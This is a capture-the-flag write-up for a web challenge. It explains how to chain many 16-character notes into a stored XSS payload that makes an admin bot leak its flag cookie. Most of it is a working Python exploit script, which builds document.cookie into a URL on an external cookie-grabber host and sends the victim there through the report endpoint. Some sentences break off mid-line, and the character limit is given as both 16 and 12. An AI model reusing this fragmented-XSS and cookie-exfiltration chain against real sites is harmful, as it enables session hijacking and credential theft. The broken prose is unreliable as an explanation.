Tags: xss
Rating: 5.0
The web application consists of our dashboard (as our user), where we're able to upload text of at most 16 characters. There is also an admin bot that we can query to view our dashboard.
When we upload a "note" to the dashboard, it is vulnerable to XSS. Although, with the strict limitation of 16 characters posing an issue, we cannot submit a single whole XSS payload.
What we can do to bypass this is, since each note is treated as a list item with the corresponding `
Now, when it comes to the admin bot, there are a couple things worthy of mention:
1. CORs makes it so we cant utilize `fetch()` or any of the javascript HTTP functions. We can bypass this by using an image tag.
2. The flag is set as a cookie, but is only set when the admin goes to read *their own* notes.
3. When we make the admin bot create a note, it doesn't automatically redirect it back to it's dashboard; so we can't simply use `window.location = x` since the bot will get stuck at the "note created" screen.
So, what we do is the following:
1. We'll query the initial `/report` endpoint with some data using `document.hash`, to get around the 12-character-per-line limitation as mentioned above. This wasn't entirely necessary since later on (as can be seen) I needed to do this for multiple other pieces of data, but it was my initial idea that I kept around. I also cleverly used the 12 character limitation to perform `substr` with the length of `
```python
from requests import session
from urllib.parse import quote
url = "http://rush-hour.ctf.umasscybersec.org"
cookie_grabber = "eov97qyucmb7qi8.m.pipedream.net/"
#get our user identity
s = session()
user = s.get(url).url[len(url+"/user/"):]
print(user)
#generate our payload
def send_note(msg):
assert(len(msg) <= 16)
s.post(f"{url}/create", data={"note": msg}).text
#the image
send_note("")
#generate the XSS
send_note("<script>\"")
send_note("\";q=location;\"")
send_note("\";d=console;\"")
#image finished loading; refresh page
send_note("\";function t(){\"")
send_note("\";location='/'}\"")
#get the cookie
send_note("\";x=document;\"")
send_note("\";y=x.cookie;\"")
#get the hash and the url to send cookies too
send_note("\";b=q.hash;\"")
send_note("\";w=q.search;\"")
send_note("\";j=b.length;\"")
send_note("\";d.log(j);\"")
#http prefix
send_note("\";z='https://';\"")
send_note("\";k='http://';\"")
#handle going to the cookie grabber site
send_note("\";if(j==0){\"")
#add the site to query
send_note(f"\";n='{cookie_grabber[0]}';\"")
for c in cookie_grabber[1:]:
send_note(f"\";n+='{c}';\"")
send_note("\";w=z+n+y;\"")
send_note("\";location=w;\"")
send_note("\";alert(1)}\"")
#get the image
send_note("\";v='getEleme';\"")
send_note("\";v+='ntById';\"")
send_note("\";p=x[v]('hi');\"")
#go to the location specified in the hash
send_note("\";n=b.substr(\"")
send_note("\".length);\"")
send_note("\";r=n;\"")
send_note("\";q.hash='';\"")
send_note("\";w='127.0';\"")
send_note("\";w+='.0.1';\"")
send_note("\";w+=':3000';\"")
send_note("\";w+='/';\"")
send_note("\";r+='</scr';\"")
send_note("\";r+='ipt>';\"")
send_note("\";j=k+w+r;\"")
#finalize image
send_note("\";p.src=j;\"")
send_note("\";m=setTimeout;\"")
send_note("\";m(t,500);\"")
send_note("\"</script>")
#now, if we want to send in code for admin to execute
def send_code(code):
print(s.get(f"{url}/report/{user}%23{'a'*8}{quote(code)}").text)
#update their notes
send_code("create?note=<script>history.back()")
```